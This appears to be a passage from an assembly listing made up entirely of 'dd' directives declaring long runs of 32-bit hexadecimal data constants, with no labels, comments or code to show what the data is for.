		dd 8C6840B9h, 76002E44h, 759C06B2h, 6F21D6Ah, 4017DB36h
		dd 530750AEh, 3BB446CAh, 3C812180h, 0BA4A0008h,	10FF7E9Bh
		dd 3E00C1D3h, 27A8E294h, 0F0E6DCh, 4481C8AEh, 76CD5D2Fh
		dd 79691600h, 120B74BEh, 0D85F145Eh, 0F11E8A0Eh, 1AE500F7h
		dd 0DE61378Dh, 9118AA01h, 0F219ADDCh, 8C6FC9D3h, 393C3A70h
		dd 8E011B11h, 0D5B347BAh, 0C0EF2183h, 5C1FE6C4h, 31576442h
		dd 0FB003E1Eh, 1F34938Ah, 50CC0303h, 0DA7D4F13h, 0D3EE21A8h
		dd 38823D1Eh, 2E16B6C1h, 81C79A6Fh, 0E5D4BDBFh,	0A75000C9h
		dd 81DF3A29h, 0D0601661h, 8E4E7599h, 0D4FE00FAh, 1F448DF7h
		dd 800FE5E6h, 5D2F31C1h, 2DA707FCh, 78A0879Ah, 3ABDEF1h
		dd 3BFFB243h, 0C8003A0Dh, 0AACCC324h, 0C96ACDh,	1770B975h
		dd 2BE1EEC8h, 6CE8F400h, 438CFA44h, 0EE7AEC37h,	995A003Fh
		dd 24A61CB1h, 79009D0Eh, 0FD1A83DBh, 1D16B250h,	7C3AEE84h
		dd 1BD4E380h, 56CF40DFh, 0D9954C26h, 4DDA4F00h,	0E8C605h
		dd 0FB307508h, 219BE9E5h, 0F100887Fh, 0DBBAF8EFh, 73A2F14h
		dd 0D6433E4Bh, 0F2FD009Fh, 67002B0Eh, 0F1E4165Eh, 858299h
		dd 0A7AD6B38h, 5D5983D8h, 72CAE71h, 0A61778EBh,	60E42B00h
		dd 0F25844B7h, 0C35C0718h, 153C1402h, 87E480A5h, 490079D0h
		dd 0D53F5D2Ah, 17413089h, 137F4ADh, 5A0ADB29h, 1A1CF0AFh
		dd 0F89E1807h, 31B00B4Ch, 7709EAh, 0C9EB3D14h, 40E5BD91h
		dd 0F3C13Ah, 0FB62C37h,	964CCDh, 0E2390B65h, 0D66D265Ah
		dd 2A9FF201h, 0CF30F01Fh, 73B70EC8h, 0C0A300D4h, 85E8BEE1h
		dd 0C900EFF8h, 69589BE6h, 0E068F2h, 2F01A3B3h, 6A1B21DDh
		dd 0E647AB00h, 0CD3220BCh, 0E36B00B8h, 84997CCh, 0A006941h
		dd 28C7E47Bh, 1C74A7EDh, 4F7F0455h, 0C0DF9283h,	8630F7A0h
		dd 191CCC53h, 3700AF35h, 58043CC4h, 0FE1DF601h,	2B38C070h
		dd 492DAD40h, 7AAA2400h, 14DA8F5Bh, 9D5E03A1h, 0A6103428h
		dd 0A96E3890h, 40A35A00h, 9F95DC9Ch, 2ED005Bh, 891336E0h
		dd 6A073CE4h, 0DCA98823h, 0FC7A2740h, 0CF8D005Dh, 21054996h
		dd 105F3A6h, 63DBF9E4h,	5CB7E980h, 730D007Dh, 66DE9A37h
		dd 9B0E1520h, 20F909E5h, 0AB7D474Ch, 6CA00099h,	0E9432864h
		dd 0FB3A07EEh, 1F73DCD9h, 0E6C0D45Ch, 0C0CDDFC7h, 0C3391D43h
		dd 0A81700D6h, 0D89E2CFBh, 7DF81016h, 80F0770Bh, 6CE1A99h
		dd 6A2F0916h, 3002E830h, 1C4067F3h, 0E400B9FEh,	714E9F73h
		dd 30D6F4h, 0AD6892B0h,	0B7D1B13Fh, 7C7C1AE4h, 0D34F7800h
		dd 42501A7h, 7FF00F34h,	87806411h, 1679213Dh, 0CA5F0C00h
		dd 0C6EE948Dh, 0F2A1281Bh, 4BF60084h, 0FC4CB719h, 4A07217Bh
		dd 0E3F130CEh, 6A24CFB0h, 0DAE91422h, 981BCB8h,	0BEDB3CB0h
		dd 4F890341h, 0F86F779Ah, 78C0ECCh, 0EEF722FCh,	0A798A028h
		dd 0E703523Dh, 0B7B6A830h, 35F9F006h, 2E0A00A4h, 700FBEE2h
		dd 0C9003FCEh, 662DCB5Ah, 0AE16EFh, 0D5FEF348h,	282A05A4h
		dd 49626809h, 0AF7821h,	0A77B00Eh, 0FA0359F7h, 90B6A000h
		dd 9C6696FFh, 0CCFC98h,	102C0F8Ah, 0C2D87D0h, 65CB1201h
		dd 9B6D5595h, 0B233FCh,	0F05AC23Ch, 0B39A41D1h,	0CC033E7Ah
		dd 1F68C562h, 737B9861h, 0DE5D500Ah, 48F0187h, 7C777237h
		dd 0CCA3FD21h, 4B009445h, 0DBE01E6Ah, 2EABBAh, 0C65EB601h
		dd 74630ACCh, 8008873Ah, 0E5627606h, 68C7F1h, 0EB721CAAh
		dd 0C30CA58Bh, 98D7D000h, 91DFAB6Dh, 1E8172E4h,	75C59h
		dd 6403D9A2h, 5F00F813h, 5E256611h, 31C2E8h, 0A60B9EC8h
		dd 82A8DB54h, 78422307h, 830FD5AFh, 0D052B82Eh,	95CA33h
		dd 9DFAB461h, 82E8AD4Eh, 0E94B7624h, 428F5F00h,	0F7CE944h
		dd 853752EEh, 0ADAECC63h, 4FE232C0h, 0D1871101h, 0FCD5BA09h
		dd 33E098D1h, 49DF000Ch, 256574Ch, 700FA741h, 20CED4F4h
		dd 6D9D3DBFh, 0AA7D002Ah, 0C3EF14EBh, 0E4008773h, 8948FB19h
		dd 976E2Bh, 81437AB2h, 0B337CBB0h, 0AE77F000h, 5AAD4661h
		dd 1CC9B07Ch, 0C093AAA3h, 864D5C43h, 0A1FD9D4h,	0BC0049B5h
		dd 0B9488581h, 2E07732Dh, 1C884E80h, 947D00E5h,	0C0E71758h
		dd 4312610Fh, 0DFD3C052h, 0E4EEC0Fh, 0CAA8DA84h, 0C50C13A0h
		dd 0ADF22D70h, 9198BD50h, 0F1008474h, 0AF176AFBh, 3ECB5C6h
		dd 35A9C516h, 7F98F0F9h, 0A5077B87h, 95DBEFB7h,	0BD89C923h
		dd 4A90F1C0h, 912E00A2h, 0A161BF98h, 0E8006CC7h, 4DDCAE57h
		dd 1B591FADh, 7031E952h, 373825F8h, 0FB091303h,	0A14221h
		dd 0B05A5C29h, 3EF959ECh, 4600DAF2h, 0D7D2A7D6h, 604244h
		dd 3F90381Dh, 0F4B68EFFh, 96AD1801h, 92F58BBh, 730660h
		dd 9789238Fh, 0D738D366h, 12367200h, 0FC5B44A9h, 0C1E9000Ch
		dd 9EA3A40Bh, 0B3008C76h, 9FE5C37Bh, 489CFB1Eh,	6A00ED5Ah
		dd 76343674h, 7863F99Ah, 987FA5A0h, 0F0CF6C9h, 0D9CA909Eh
		dd 0B703D760h, 7400076Fh, 1CE6FCE0h, 0B4C11Fh, 631A3277h
		dd 4AEE2CBBh, 0E8872500h, 41D0E1D2h, 34643D97h,	0D7DFBE00h
		dd 0BAC2076Ah, 8C463Ah,	0F56C5E23h, 0E86E6AAh, 8374471Ch
		dd 0C14AC421h, 84708B10h, 0BF85802Fh, 0FBBBA7h,	0C81D2756h
		dd 9751B85Ah, 29EFB000h, 1639A387h, 36115C5Eh, 17BF9F00h
		dd 38AACE54h, 2D774100h, 9D8FE879h, 6FB90094h, 1C3EBEB6h
		dd 0DC0043F8h, 16B57138h, 0FCACD36h, 7C9A3A87h,	0E3EC620h
		dd 0DC00400Ah, 3C882803h, 1F6514ECh, 43C39856h,	6BE1D8F1h
		dd 0F7A7DEE8h, 708FC1Ch, 341B5047h, 0E591D1F0h,	3F700043h
		dd 0E7D06EB0h, 7E00FF0Ah, 2C9A14A6h, 759245Ah, 64DE4BCh
		dd 0B36EA012h, 4B000750h, 0EC6D4C09h, 7FBF86h, 0D0EDC988h
		dd 0B98D22C1h, 0CC544262h, 9F8A6090h, 8E98002Ch, 360CF7EEh
		dd 0E300D627h, 67A074C6h, 3B8F4A6Dh, 7FA78Ah, 0D8616F6Ah
		dd 85027365h, 5D00F4E4h, 0B1377651h, 9ED2F3h, 53F9CA93h
		dd 424DD491h, 0B8C0DD00h, 9027EC9h, 19070930h, 0F700805Fh
		dd 62AF1D92h, 699DA00h,	1CB1F90Ch, 4282072Fh, 40B62D3Dh
		dd 0BD8E55D3h, 0ADE0E100h, 6EB26940h, 78EE005Fh, 310749CCh
		dd 0CE6053BBh, 0BC57FC20h, 0A0A400B1h, 5115A12Ch, 6304468Fh
		dd 0F3FA84C4h, 8271D8C0h, 4C2F310Ah, 20E68FA0h,	0C50ED4C8h
		dd 0E0E162DEh, 27D5542Ah, 749700F4h, 0E2D09CB2h, 0BB0089D6h
		dd 56DBAD83h, 7D8549h, 5A067E1Fh, 766324D3h, 520DFD14h
		dd 0D4E12DA8h, 0AEFC0004h, 8DBBA80Eh, 0C3825600h, 814B2B46h
		dd 57B50623h, 29343920h, 0AA458B7h, 83843069h, 0B08200F5h
		dd 0FBDDDB03h, 1AD0A000h, 6DE5E69Bh, 94B202EAh,	99019E49h
		dd 318FE480h, 0CC0016CDh, 0E66C834Ah, 1F08DDDAh, 40C296FCh
		dd 0C4E0F36Ah, 0C7033472h, 84FF0CCBh, 0F292A0BCh, 0AD2E003Fh
		dd 1CEF355Bh, 8C00E3B1h, 0ECAC046Eh, 9041CA2Ah,	10B300DCh
		dd 9AD8F77Fh, 6D009B5Dh, 12854D76h, 0A04A46C7h,	8404C8h
		dd 0F775060Dh, 4F285DD9h, 865F6000h, 207A9163h,	9C810042h
		dd 47403106h, 561C67F2h, 0F5838A5Ah, 90588CA6h,	420CACh
		dd 5B96FE1Fh, 0ABC2C006h
		dd 0C5FCF203h, 0AB0443D8h, 82F5A9E9h, 6983C8h, 6C010332h
		dd 3A66A9D4h, 4DACD900h, 1055F368h, 715A004Fh, 0A7F22950h
		dd 7749131Fh, 8F1B00D0h, 63FA0880h, 0A57354h, 3842DFA0h
		dd 133FB89Bh, 0AAF42300h, 3917ED50h, 0EE730094h, 0D521571Eh
		dd 0B600D46Dh, 0E7F04A96h, 0BB74C9h, 4714B64h, 2B9B61E5h
		dd 3E7E39h, 0A01CDA4h, 3B08B962h, 6C4C808Bh, 0FE9D7200h
		dd 0D50E6643h, 854E2D0Bh, 3FA90639h, 0D3EB0018h, 0C035644Ch
		dd 0A90062F0h, 2B1D0829h, 15F3ABh, 7234B68Bh, 4F9BD61Fh
		dd 0BFC7DF13h, 96C0841Dh, 5A123077h, 614C003Eh,	7E5CF0AEh
		dd 70073628h, 0E3D227Dh, 561D4A51h, 349120h, 0A16C6BBCh
		dd 61337BF5h, 0BFE95513h, 0D4072601h, 9FCC8F56h, 30C43E5Ch
		dd 4BBB0074h, 6281AC7Dh, 0A9035784h, 0BAAB60DDh, 8CC8E8C9h
		dd 0FB3D0010h, 0A7130E86h, 0B77B911Ah, 644EB901h, 2AD38D8h
		dd 602CC0h, 78863D39h, 0CDE9A228h, 4562A50Fh, 0CA560095h
		dd 3F77AE8Bh, 919D88F5h, 2302BECFh, 0CE3AF072h,	0EC4818C8h
		dd 0A13DB998h, 0D75D80F1h, 0E9EDCCAh, 0CCBD008Dh, 4914E85Ch
		dd 0C4009836h, 20FA19EFh, 37CB3h, 0CB2E4EB4h, 0D45D9422h
		dd 583AAE3Ch, 1B30030h,	0F12419FCh, 0A63907C5h,	0D052716Fh
		dd 35E36E38h, 0C0905A00h, 9C70F6EEh, 0E5300FAh,	9D328671h
		dd 18C0EF65h, 0A8B26C62h, 0E5D90EE3h, 0D68095F2h, 7DAAFC86h
		dd 0A4075576h, 0F7919ED3h, 88DE7010h, 19F6001Bh, 6942EB5Dh
		dd 7A1D05D9h, 0F9E064h,	4124499h, 1D8C6862h, 0C2B782DFh
		dd 663357FBh, 56358DE0h, 91C94601h, 0B123C0Dh, 36DDFC31h
		dd 17CF0h, 0B3BB15EBh, 2D866F80h, 52046A76h, 0ACFEABB5h
		dd 0D9F813C0h, 0EE02002Fh, 0BA21BC96h, 790573CAh, 2BAD29C9h
		dd 0A777F1C1h, 0DCCD20h, 2C71B162h, 0EF8E5994h,	80BE2D3Bh
		dd 44749E56h, 1C95F40h,	0C8DC88Ch, 0C41B1458h, 0E30764F2h
		dd 0FCE9125Ch, 0A2232EA0h, 0C5B9002Ch, 37954C91h, 0EC0093DFh
		dd 6B4BDC6Fh, 4733EAEh,	97E75382h, 75688091h, 8500ADF2h
		dd 223AA0A6h, 0CBA7B7h,	2947F748h, 756FBACEh, 4E01A300h
		dd 44D4E9E3h, 233C0089h, 184BD355h, 0F724D653h,	2C8024DEh
		dd 98B48C67h, 0A486253Eh, 7BC74002h, 0A2187860h, 3ABFDE00h
		dd 0FBB180DFh, 0D7AF18F5h, 0E9AB68F4h, 0BCB7290Ch, 0FE0410F6h
		dd 0E399001Ch, 7F82CF14h, 4C013F69h, 76055A68h,	0AAC0AE74h
		dd 0ADA01C2h, 8BA3947Ah, 9F54708Ah, 98C9D11Fh, 23110900h
		dd 28C5311Eh, 0C0C60Fh,	0AC61884Ch, 0A1DA80ABh,	1284F800h
		dd 38070AE3h, 0ED9EEBFh, 0B5DB1EF2h, 8F170800h,	6DB03D81h
		dd 51855703h, 0E005BC54h, 773B4B7Dh, 0F5ADF846h, 832A70h
		dd 5061C1EEh, 0DF92BAFDh, 0E54BC097h, 40A10059h, 44C5A297h
		dd 0C3092A78h, 804FDF5Fh, 0E9805E98h, 0D63B00C1h, 1B16B44Bh
		dd 45004858h, 23929E11h, 0A026FE4Ah, 2A27B4h, 34655F31h
		dd 39521ECAh, 0BB90DD01h, 585BA733h, 26CB56C4h,	0F4DF2Eh
		dd 0C93451AAh, 5D078090h, 0BECA881h, 4B259830h,	0C0E00D9h
		dd 2B745BC3h, 22006DF6h, 890DB358h, 0FEC0A1DDh,	9C7B01E5h
		dd 0B2C5AFF9h, 7010F077h, 7C5F7E00h, 74785CEBh,	0D5A7070Eh
		dd 708E4AC1h, 4BE53546h, 1B038A71h, 76BA96E2h, 6D34986Fh
		dd 0A3AB002Ch, 5BD1183Eh, 0ED00A80Ch, 55FFC13Bh, 26DB1A7h
		dd 90C82606h, 0FCA15F3Fh, 875EA9Ah, 4985120Ch, 73640395h
		dd 0FD0A24Bh, 0E090BB55h, 45940200h, 9DF1CF1Ah,	12BD0527h
		dd 53DD1CEh, 41D8BDh, 1BFE5586h, 0F6035011h, 99C0E529h
		dd 0BF04D817h, 0FFD00F3h, 595270CFh, 0DC1CCC46h, 29C01A69h
		dd 0E1949F04h, 27EB0F0Bh, 62419E1Fh, 402FED32h,	9C2017D0h
		dd 7E13E500h, 93C0B233h, 0A1FA00ADh, 509835A4h,	1B0E7C74h
		dd 0D302E1A0h, 37DA4800h, 0E7D955h, 0EF3A6D8Bh,	70B353D7h
		dd 5A81D8C7h, 971B74B0h, 4EF700AEh, 34761791h, 830FEAFEh
		dd 20CC679Eh, 706FE5F8h, 0F1D40559h, 0A034DEB3h, 8CA07753h
		dd 51009083h, 0C028A3Ah, 3DBFDA3Dh, 268FE1A2h, 9BE1E77Fh
		dd 30768B81h, 1000EEC5h, 0CF36F17Bh, 1358BFh, 743BEB0Ch
		dd 5468DC78h, 7F02457Dh, 0AB769EFCh, 641CE03Ch,	0C7310358h
		dd 2D9DB8EBh, 4BC43E80h, 0AFA58C00h, 229884FCh,	608F48C8h
		dd 6F83A703h, 25C848C4h, 5E00FFB2h, 0C76226B8h,	0F33DFh
		dd 0E1412FC2h, 0BBB38D17h, 84009DF0h, 352A63A2h, 9685F0h
		dd 0C4FC209Ch, 0C5455E36h, 0C902E401h, 71F6CC06h, 1C3E1230h
		dd 0C3CE62A7h, 42031EE1h, 510E14D0h, 0D0DD0700h, 8C1A84ABh
		dd 9A353C0Bh, 6ED8CC80h, 0AEBDA714h, 42EC3850h,	0BC7B5F04h
		dd 0E0C33906h, 899BE8B0h, 0AF5B3F11h, 8E499407h, 0A427C09Eh
		dd 2FEC0BDh, 2F016700h,	3DD69F3Ah, 79E80EF6h, 0FCEDCEh
		dd 49EE335Bh, 0DE03C54Ch, 0E1707DB5h, 78107C42h, 0EBBE10CEh
		dd 0B9061E48h, 0C0F41F00h, 0CC62175h, 0EF25B8CEh, 0EC006830h
		dd 2C5C5BC7h, 3C9940Bh,	4DDB4156h, 9BE826CAh, 0F10785CFh
		dd 9CB9BDE9h, 0EABEE18Fh, 4086E062h, 4840A0EDh,	2107DDF0h
		dd 23C1F332h, 0D926D240h, 4110A8EAh, 69660034h,	0AE7A09D3h
		dd 37005339h, 0F9031996h, 28C17D9Ah, 48410EBh, 39D68BF7h
		dd 540F80C0h, 7F0FCD24h, 8059AB1Dh, 420DA2FCh, 83D3008Eh
		dd 0DA1A100Fh, 0DC1646BCh, 0DC025FECh, 0A075CF99h, 6BB52CC0h
		dd 0ADDE02D5h, 0A5A33381h, 3D4AC375h, 56004298h, 0A47EF56Ch
		dd 9F798C03h, 87E748CFh, 63A03BB7h, 189D3F06h, 0D03E535Eh
		dd 86ECD680h, 0B024E01h, 0C8B6792h, 0BC40E5D1h,	758E7D68h
		dd 80EB6EECh, 459CABC0h, 0A4006227h, 8DEA6C22h,	0E06B7Fh
		dd 598832C9h, 622D7610h, 20489032h, 0C19CA049h,	3B3C5A5h
		dd 0B1557431h, 201F39CAh, 0A68644BBh, 3F2842F0h, 8880F4E2h
		dd 1B8D629Eh, 0C01B69BBh, 0C921132Ah, 4770B1A9h, 91978BEh
		dd 0ECD3FEAFh, 7EB60420h, 4F00D4BAh, 7BF1035Ah,	555DB2Ch
		dd 88593EF0h, 9AAC48EDh, 486C81CFh, 5818F5E8h, 5E6A88h
		dd 10AF776Ch, 74891CF8h, 590D720Eh, 0A04B80EDh,	973E5C7h
		dd 0ACF66EDFh, 791A5001h, 54A9F4FCh, 8D0315E4h,	53E58610h
		dd 0F8648BFDh, 0C2202Dh, 0F8E6228Eh, 0AFAC5971h, 0EAA53Fh
		dd 0F23A7341h, 7D9B83A3h, 6C3B0166h, 5DDC5ABFh,	5B8FC413h
		dd 94276000h, 1A24E7D7h, 0DA15009Eh, 0A88C7DFEh, 9B987F33h
		dd 5543A500h, 0D7D05F41h, 8D6900F1h, 0F258AF4Ah, 63005AC2h
		dd 66A05D76h, 49E561h, 4FDEF1EAh, 0B9AC998Fh, 0C0D6A00h
		dd 0C07A5BA0h, 0F67FE5h, 752E0B82h, 0B23A2D42h,	0AF745300h
		dd 80F37D9Eh, 54500116h, 9DCDC17Ch, 0CA044F82h,	4231CCBh
		dd 63D605Dh, 8A07B104h,	182A2D9Ch, 1A16EE41h, 0C73FBC8h
		dd 0B1FD4EC1h, 3001C331h, 4B57E3C8h, 9EE8023Dh,	31740354h
		dd 8DB68BFDh, 8EBA85E0h, 0EAFFC700h, 0D9A4CE5Ch, 3C1300CAh
		dd 0DBF7BB93h, 77061435h, 0E776478Ah, 42B60058h, 0DD692351h
		dd 6E007A72h, 8FC50E3Fh, 0B02645BEh, 20C700ABh,	1E9DDD5Bh
		dd 97143BE0h, 0B1207ACDh, 0C4C993F9h, 0F3609208h, 4307D9F1h
		dd 0CA383B06h, 0B79F2483h, 0E01CE3EAh, 1241153Bh, 3C36074h
		dd 0C92C8C4h, 0CCCA0640h, 7A5CED41h, 12F00B0h, 6FC575E0h
		dd 5797015Dh, 0BA9282D5h, 0E162CCD0h, 0B763B00h, 0E5D65432h
		dd 50850A4Dh, 8CB803h
		dd 0C625691Eh, 6E30CBBCh, 0FAE781DDh, 0B4520297h, 82B53265h
		dd 0D0906960h, 7DDD5803h, 1FC22EFDh, 81357B88h,	0CBF01566h
		dd 48BEFAh, 0AD2BEAAFh,	305F55h, 0B0092F77h, 9C14FC6Bh
		dd 0A71AD72Ch, 0B6863600h, 68E87Fh, 3CF171E2h, 0B9E9D2D6h
		dd 75BF0158h, 457090C1h, 7087CF3Bh, 807DC721h, 0BF0CDA3Ch
		dd 807FD20Eh, 0F4CE20B7h, 35D648h, 394BC21Fh, 0DC8E7362h
		dd 119698A8h, 0EC6B371Ch, 9401E89Fh, 0DD5A5741h, 0D1496098h
		dd 2245E1Ch, 7D004C83h,	0AE50B3E5h, 0E7CA3399h,	0E4D4F8h
		dd 7CEB8F6Ah, 1C5384Fh,	9227DE80h, 0B7B4917Fh, 0B39A7500h
		dd 25B983FEh, 626500A8h, 6BA80C2h, 0ED5444A2h, 0B300DB4h
		dd 4B9150CEh, 8873005Dh, 9265AE3Ah, 0F501FA8Fh,	3931E0A2h
		dd 96E9A774h, 88F13020h, 0B704AEEAh, 0D64A56BAh, 0F49C70C8h
		dd 5261C0EEh, 0BDE2512Ch, 43E1CE0Ah, 26094B8h, 412C221h
		dd 90AF50F8h, 6ADC41D7h, 56E061B2h, 8CF70106h, 97CDD8B1h
		dd 0AA22F86Bh, 6A1E74EEh, 0F3FAA488h, 0B572FF01h, 7D83B942h
		dd 7CA1A840h, 0C45F88CBh, 136E00E9h, 2418CEE1h,	3B5E5380h
		dd 660F5796h, 66642E7Bh, 7439DAFDh, 0FEB002Fh, 0BD8A272Dh
		dd 7F48D1E8h, 1BB80618h, 1C28BB88h, 0B1139E2Fh,	80F46C60h
		dd 9B3D8F69h, 0DD89CCh,	36C8EC41h, 866ED94Eh, 26AD39C0h
		dd 343C95h, 80933F0Ch, 62C269A2h, 12A71E01h, 9CCCE26Eh
		dd 849E9440h, 0DCB000B2h, 0AB8A933Bh, 7492C444h, 5F74ECC0h
		dd 6077E7DFh, 0C74D81F5h, 16009417h, 3CF77F51h,	0CB92EAh
		dd 531E2B8h, 37A7ADD7h,	0D6491504h, 0FC90106Eh,	9F1FCE0h
		dd 6A21AF0h, 0D8B22083h, 182A78CEh, 5500D0A5h, 24FE6FDCh
		dd 912361h, 64AB0D6Bh, 274894DEh, 95B7F218h, 6E28E9h, 3ADF131Ch
		dd 0C6E92E16h, 0A5019A03h, 0C0316B89h, 31A342B8h, 0B2CCD211h
		dd 16C05178h, 0C47180B0h, 0A074F565h, 5407037Dh, 0B928F31Eh
		dd 37CBD3F8h, 0D6FFA213h, 0E116C30h, 494C0087h,	1380AB3Fh
		dd 9B04DAAFh, 0F86A1062h, 421C60D0h, 0C2E6140Dh, 7CECCCDh
		dd 0FFD9E5C0h, 9901F19Bh, 62CDEBBFh, 4BE4FE91h,	0FA9CA69Fh
		dd 39B160C5h, 1467BF82h, 9651FA02h, 4089A75Bh, 26F68A4Ch
		dd 8724DD4Bh, 0E05044DFh, 0F18C9511h, 53A2FE07h, 0DC2A6F93h
		dd 0CFC0D41Dh, 58BEDCDEh, 638C0046h, 2AB4C9BAh,	1A00B586h
		dd 5B05E8B2h, 1CEFC813h, 0D4B7E542h, 0FC89A0C7h, 18692499h
		dd 1431320h, 9A3801ACh,	2484AB06h, 3A019C5Ch, 0C8EE7EA9h
		dd 0A0E643A0h, 9603CA4h, 845300A3h, 69404630h, 74E850FEh
		dd 5D71CA0Eh, 92AEA117h, 58803CA1h, 2915467Dh, 0B0094505h
		dd 8AE4C4A4h, 404ECC60h, 4CCFC10Ch, 0F18D24E5h,	0CAA56014h
		dd 930013E3h, 0C01201D1h, 44A3E70h, 80999CDDh, 969B08F6h
		dd 0B9DC206Eh, 0DA0E1E7Ah, 0E08779EEh, 0FEA54715h, 0CF5E00A7h
		dd 0FC32408Ah, 0FA126AF2h, 0A809C2D2h, 0A340FCBh, 1C048083h
		dd 4940843h, 0AF63B082h, 25D1C080h, 121EB79h, 6FD04C61h
		dd 0D505B584h, 0EC823BFh, 9BD3A1CCh, 3C6EB0C9h,	35900164h
		dd 4E60E99Eh, 0E8289CD0h, 32C00CA4h, 3A6494A3h,	2481DAAAh
		dd 0BB2FA681h, 0CD057106h, 0AA832C7h, 0F4E61E17h, 6E13DF11h
		dd 0FC6440D4h, 0A32A97B1h, 13811501h, 0D9442B98h, 0FE0B8C22h
		dd 641058C1h, 0F400ED73h, 0D78A95C9h, 0F443F4Eh, 70C453BEh
		dd 96027580h, 0B30A8DA9h, 60D24058h, 0C881844h,	55DA00FAh
		dd 546842B1h, 2C3C2737h, 0E0CA8375h, 0E87B57B5h, 939401D2h
		dd 80689184h, 9983478Fh, 0E4F2006Eh, 86B20A28h,	354C1130h
		dd 0F054A3A8h, 4A7203h,	0A0660484h, 6BE243D4h, 48EE8300h
		dd 509B941Fh, 0F68509C7h, 68A8A641h, 2D029F4h, 0F5F96A4Eh
		dd 10EA34E9h, 7B21DB55h, 0ECE61F9Ch, 2480808Eh,	0AC89DD27h
		dd 596CF1C4h, 0B30FCA0h, 4AB238FDh, 0C3096430h,	9060692Ah
		dd 7F9F2103h, 0F37E327Dh, 8077DA79h, 0A6DF5964h, 7F3071BBh
		dd 1930EF3Eh, 66A501C3h, 943D8BC6h, 4C61CA8Ch, 35747464h
		dd 38DBCF40h, 23801A51h, 0CA69EC5Eh, 0B5025705h, 94E892E2h
		dd 99B446B2h, 9FA88074h, 8AD3A79Ah, 1A30BC00h, 0B9ECA086h
		dd 1CDB0F06h, 79670C8Ch, 8ED080CDh, 0A8A44283h,	0DDA02E02h
		dd 44D47ABDh, 92382E28h, 10614768h, 0BF341364h,	0F8A8A503h
		dd 0B1F70998h, 0BC528A57h, 98520Dh, 9F9AC394h, 6532645h
		dd 68293A07h, 0D423FECAh, 0A8EDA067h, 498E0E2Bh, 0BE2B0697h
		dd 0FBA7B801h, 0EBB4409Ah, 0C104E7B4h, 670A971h, 1FB8309Ch
		dd 8348ACAFh, 0C04F1CDAh, 8CE4C4F5h, 0A572F668h, 0BA554000h
		dd 35736D22h, 0C58807CEh, 0DB01E9h, 43322A3Fh, 0B4CB5324h
		dd 11801429h, 840A08E8h, 0D7B724F8h, 7BCB0964h,	0F4780439h
		dd 71C1E7ABh, 0BF305AA6h, 31E44081h, 32FC7F9Eh,	0F15E0030h
		dd 983F2875h, 0C3EE098Ah, 47806588h, 2918D838h,	4D49DD60h
		dd 0F6F53383h, 1C855CB8h, 7085B848h, 219888B0h,	0C3D49202h
		dd 8ECDB861h, 26ABC13Ch, 0FC70602Eh, 0CC885215h, 7BB06480h
		dd 89071C3Dh, 0BD222E59h, 9EE10B90h, 105414E8h,	0AECBB439h
		dd 77597902h, 210734C4h, 9B991D26h, 0B69597C0h,	0A2FE642h
		dd 53E5DD69h, 0CBF86190h, 1DA850E8h, 0E0F45674h, 3B13E100h
		dd 0B828EE0Ah, 2B6E008Dh, 80340862h, 0AFF060EAh, 9B004098h
		dd 20450A40h, 9C07BB9h,	950F73B7h, 0A4EC7C32h, 1E98753Ah
		dd 0AA803477h, 0C9835843h, 69320597h, 83EC672Fh, 2EE075F4h
		dd 0B1051759h, 12A48828h, 0E419FF0Eh, 23C04769h, 0D4C42Ch
		dd 0B7F4F5EFh, 0A24C21FFh, 1CCB23Fh, 65D74410h,	7DE43E24h
		dd 9C1F000Eh, 693499AFh, 70C78DD2h, 2F60C647h, 374BDh
		dd 9E5D736Eh, 178C0DE0h, 31A79C30h, 801F4667h, 0EC00FB77h
		dd 98D26C60h, 3ED1BE3h,	1C7CBE92h, 3BD12D4Bh, 0CA4080E4h
		dd 0BFBC7EB2h, 48AE60A8h, 46016DA2h, 0CB672B00h, 72485A3Fh
		dd 58070637h, 29B7C4D4h, 0F13B3C0Ch, 0CD77035h,	75843A2Dh
		dd 97076C88h, 6B31F624h, 68943B80h, 77400FA0h, 4863B6EFh
		dd 50004366h, 8706025Fh, 2A9D47AFh, 9CFFC1h, 3ED35B0Dh
		dd 651C7E38h, 6FE6D002h, 85082DF2h, 8C4363B0h, 9804C3A1h
		dd 1705F5h, 0C4602776h,	5219F689h, 0B7996700h, 44395BD4h
		dd 6D180CB5h, 8FF8C035h, 1D629175h, 0A079CC49h,	0F9B77A9Ch
		dd 336200B4h, 0A4708FB3h, 0FC00FBC8h, 0A926291Ch, 899F6Bh
		dd 77099262h, 7DF4BA70h, 910049DEh, 189DAB45h, 2A92016Fh
		dd 33F4CB0Bh, 54218A2Bh, 0E6C2C0FFh, 0AA4100B5h, 0D8041F14h
		dd 805837E3h, 41981582h, 0F4400C9Bh, 4072BD0Eh,	6400C832h
		dd 0E005AA46h, 0A0ED909Fh, 2C77FC8Ch, 7EAC75h, 0AE289651h
		dd 78C09591h, 0F9420234h, 64B61FC5h, 2FDBC0BCh,	0C1D2264Ah
		dd 47DC8C50h, 0EC6DD800h, 0B5A96E91h, 0A75400C5h, 0BA1E2D2Ah
		dd 0C7288ED5h, 97306478h, 0E29091BFh, 0A0590063h, 9BCCEEB3h
		dd 95FA641Ah, 0C780D2F9h, 0A9F5D866h, 8C1B0529h, 84EA4F8Eh
		dd 6090A10Eh, 9283A39h,	588E773Eh, 189E1000h, 0E4A05352h
		dd 0D097D6BEh, 245D00CDh, 471791D4h, 90C06662h,	54A7ECE9h
		dd 0A39D0212h, 137C86DAh, 235E4F40h, 990B8B09h,	502983h
		dd 6E9E3EAEh, 0D0E600D2h, 0A9399BB6h, 20069108h, 7B1A7750h
		dd 0EC895480h, 25B614D2h, 3A18A441h, 8EF049F6h,	613BC426h
		dd 56FAAF01h
		dd 0F4F04433h, 0D6220261h, 0DBD378AAh, 21AD9848h, 7AEF2A1Eh
		dd 1561C082h, 0A844476h, 8A141285h, 222F80A8h, 4AB4AFD4h
		dd 25B51809h, 51C02004h, 14BC7341h, 68E709DEh, 40D75A00h
		dd 0A3237F71h, 0C812F57Ah, 3461EE22h, 42493D5h,	0B43F00BAh
		dd 0B897F650h, 0FB01AFE7h, 0CBDD9A06h, 40DABEE5h, 600848h
		dd 80EFF17Ah, 0EE2F0F0Eh, 4423980h, 0BE528C03h,	0FB6A40BCh
		dd 0B73DED79h, 0F112D978h, 14404348h, 0E7FFFD67h, 189E7096h
		dd 8985DE76h, 8D13B1EAh, 0C3125C35h, 0C2E58831h, 1D004822h
		dd 118D73FFh, 4C5CBEDFh, 0DD3BB0h, 0A902E6F0h, 0EC98E960h
		dd 9458F1F4h, 813E60CEh, 0D69033C0h, 0A1D05000h, 3FB18C20h
